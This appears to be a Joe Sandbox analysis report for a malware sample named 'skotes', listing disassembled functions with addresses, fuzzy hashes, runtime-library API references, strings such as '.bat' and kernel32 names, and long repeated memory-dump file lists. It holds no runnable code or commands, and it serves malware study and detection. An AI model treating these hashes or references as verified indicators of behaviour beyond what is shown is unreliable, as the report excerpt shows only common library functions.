Opcode Fuzzy Hash: dea0ba402101bc13e627910e4202279486309304e252d12040c7f348937e7b3e
Instruction Fuzzy Hash: 25212772600A25AFDB14DF68ED46EAE77BAFF84721F11851DF80197680DF31E9008E95

Function 0062727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006272BE

Strings

.bat, xrefs: 006272ED
.cmd, xrefs: 006272DC
.com, xrefs: 006272FE
.exe, xrefs: 006272CB

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 8871ad37f0178c95bd6bb247ff9715f6e999ea5d8134238fa05e313459726824
Instruction ID: ff2a8e43265be1e04f13094cf0bd9ab424411a36d1d26fe99269c00a5218bb2c
Opcode Fuzzy Hash: 8871ad37f0178c95bd6bb247ff9715f6e999ea5d8134238fa05e313459726824
Instruction Fuzzy Hash: 0D010427718E33256B159059BD02FA7178B8BC2BB4B2A402EFC54F72C1EF44DC4229A4

Function 0060FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0060FB06

Strings

GetCurrentProcessorNumberEx, xrefs: 0060FABE
SetThreadGroupAffinity, xrefs: 0060FA87
GetThreadGroupAffinity, xrefs: 0060FA93
kernel32.dll, xrefs: 0060FA7A

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 214a45c26e2dd63d04be6d196721ae818194d9483ae37523301841b6aa973637
Instruction ID: 670b022c1d8472ed052a6d4dc8dfc13d1256e59a600ad5d45bbd4acbd2c9e0b0
Opcode Fuzzy Hash: 214a45c26e2dd63d04be6d196721ae818194d9483ae37523301841b6aa973637
Instruction Fuzzy Hash: 3801F5227913156EA724B7B45C9EAEB36EEAD4A644B21142AB401E6282FFE8D84041B4

Function 00622097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006220B7

Part of subcall function 0061CAF3: Mailbox.LIBCMT ref: 0061CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006220C8
StructuredWorkStealingQueue.LIBCMT ref: 006220FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0062210F

Strings

e, xrefs: 006220D9

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 22bf89fca4bc76f1bd98c4fd24d45f4c47b962e1e7a940048e3eef0930284d1c
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: B511E731500926BBCB51DE68E8A5AEB73A7EF02324B14819DFD168F202DB71D911CF90

Function 0060D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0060D0A5

Strings

WakeAllConditionVariable, xrefs: 0060D069
SleepConditionVariableCS, xrefs: 0060D05D
kernel32.dll, xrefs: 0060D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0060D03B

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: a58398b63dcfe657c704eaa32305d4957cbd98d7f8d3d1e72c34973180b8bcf6
Instruction ID: e43dda5a5de1db1a66c291c4b80b0117cfe8d6b7f73d958c6327de8db00034c9
Opcode Fuzzy Hash: a58398b63dcfe657c704eaa32305d4957cbd98d7f8d3d1e72c34973180b8bcf6
Instruction Fuzzy Hash: F001A261BC3B116AEB357FB55C1DFAB128B8F46B80F062610AD4AE72C5EAE0C94144B1

Function 0061E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0061E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0061E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0061E9DC

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
